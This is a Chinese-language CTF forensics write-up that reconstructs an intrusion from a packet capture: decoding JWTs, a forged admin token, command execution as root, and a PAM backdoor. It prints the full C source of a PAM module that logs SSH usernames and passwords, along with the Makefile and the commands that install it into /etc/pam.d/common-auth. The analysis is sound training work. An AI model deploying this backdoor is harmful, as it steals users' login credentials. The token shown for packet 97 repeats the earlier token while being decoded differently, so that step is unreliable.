題目描述

頭中保存的是jwt格式,載荷中保存的是內容,簽名部分保存的是前面內容的哈希值防止篡改
wireshakk打開包,
7號數據包是post方式提交form表單認證,8號數據包表示認證通過同時返回jwt數據和網頁,jwt數據可以簡單理解為cookie。
flag:
因此該網站使用的jwt認證方式,這里有個坑,我開始以為是form表單認證,這里問題描述還是不夠清晰。
2.2 黑客繞過驗證使用的jwt中,id和username是______。(中間使用#號隔開,例如1#admin)
wp:
在8號數據包中,我們在cookie中的token中提取jwt數據
token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MTAwODYsIk1hcENsYWltcyI6eyJhdWQiOiJhZG1pbiIsInVzZXJuYW1lIjoiYWRtaW4ifX0.dJArtwXjas3_Cg9a3tr8COXF7DRsuX8UjmbC1nKf8fc
分為三段
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
eyJpZCI6MTAwODYsIk1hcENsYWltcyI6eyJhdWQiOiJhZG1pbiIsInVzZXJuYW1lIjoiYWRtaW4ifX0
dJArtwXjas3_Cg9a3tr8COXF7DRsuX8UjmbC1nKf8fc
用base64解碼第二段得到
{"id":10086,"MapClaims":{"aud":"admin","username":"admin"}}
flag:
因此10086#admin
我提交后發現不對,我們再次審題 黑客繞過驗證使用的jwt中,重點是黑客繞過驗證,分析數據包,這個jwt是黑客使用弱密碼admin表單登錄后發送給黑客的第一個令牌,並沒有體現繞過二字。之后在27號黑客使用該令牌執行了系統命令whoami,系統返回了 alert("The administrator has the authority to do this, you can’t")\n,意思是只有管理員才有權力執行該命令,你不能執行。黑客此時明白了它並不是最高權限,有再次登錄獲取新的jwt,還是不行。在97號數據包中,黑客首次構造了jwt,構造結果如下
token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MTAwODYsIk1hcENsYWltcyI6eyJhdWQiOiJhZG1pbiIsInVzZXJuYW1lIjoiYWRtaW4ifX0.dJArtwXjas3_Cg9a3tr8COXF7DRsuX8UjmbC1nKf8fc; Path=/; Max-Age=3600; HttpOnly
解密后得知,
{"id":10087,"MapClaims":{"username":"admin"}}
這個才是偽造的,之前是系統自動生成的。
flag:
因此10087#admin
2.3 黑客獲取webshell之后,權限是______?
wp:
在97號數據包中黑客使用偽造的jwt提交了whoami,98號包返回 root。這里黑客利用了jwt偽造漏洞和命令執行漏洞
flag:
root
2.4 黑客上傳的惡意文件文件名是_____________。(請提交帶有文件后綴的文件名,例如x.txt)
wp:
因為一個一個查看黑客執行的代碼比較麻煩,我們導出http對象同意分析文件。再103號數據包中,用base64解碼后都到,將下面1.c寫道/tmp/目錄下
#include <stdio.h> #include <stdlib.h> #include <curl/curl.h> #include <string.h> #include <security/pam_appl.h> #include <security/pam_modules.h> #include <unistd.h> size_t write_data(void *buffer, size_t size, size_t nmemb, void *userp) { return size * nmemb; } void saveMessage(char (*message)[]) { FILE *fp = NULL; fp = fopen("/tmp/.looter", "a+"); fputs(*message, fp); fclose(fp); } PAM_EXTERN int pam_sm_setcred( pam_handle_t *pamh, int flags, int argc, const char **argv ) { return PAM_SUCCESS; } PAM_EXTERN int pam_sm_acct_mgmt(pam_handle_t *pamh, int flags, int argc, const char **argv) { return PAM_SUCCESS; } PAM_EXTERN int pam_sm_authenticate( pam_handle_t *pamh, int flags,int argc, const char **argv ) { int retval; const char* username; const char* password; char message[1024]; retval = pam_get_user(pamh, &username, "Username: "); pam_get_item(pamh, PAM_AUTHTOK, (void *) &password); if (retval != PAM_SUCCESS) { return retval; } snprintf(message,2048,"Username %s\nPassword: %s\n",username,password); saveMessage(&message); return PAM_SUCCESS; }
flag:
1.c
2.5 黑客在服務器上編譯的惡意so文件,文件名是_____________。(請提交帶有文件后綴的文件名,例如x.so)
wp:
109號數據包中又寫了/tmp/Makefile
CFLAGS += -Werror -Wall looter.so: looter.c gcc $(CFLAGS) -fPIC -shared -Xlinker -x -o $@ $< -lcurl
然后再/tm目錄下執行make命令,將looter.c編譯成looter.so
flag:
因此是looter.so
2.6 黑客在服務器上修改了一個配置文件,文件的絕對路徑為_____________。(請確認絕對路徑后再提交)
wp:
之后黑客發現源代碼文件名稱不對不是1.c,重命名源代碼文件名稱,mv /tmp/1.c /tmp/looter.c,這里是作者故意埋下的坑,讓2.4的問題變得模糊,讓我們以為上傳的文件是looter.c
再次make,此時/tmp下有三個文件Makefile looter.c looter.so,編譯好的木馬是looter.so
cp /tmp/looter.so /lib/x86_64-linux-gnu/security/,移動木馬到ssh認證目錄下
echo "auth optional looter.so">>/etc/pam.d/common-auth,這里修改了ssh配置文件
flag:
etc/pam.d/common-auth
之后黑客執行了
service ssh restart
cat /tmp/.looter
Username root\nPassword: flag{test_flag}\nUsername root\nPassword: flag{test_flag}\nUsername root\nPassword: flag{test_flag}\nUsername root\nPassword: flag{test_flag}\nUsername root\nPassword: flag{test_flag}\n
因此黑客上傳的是ssh登錄憑證記錄木馬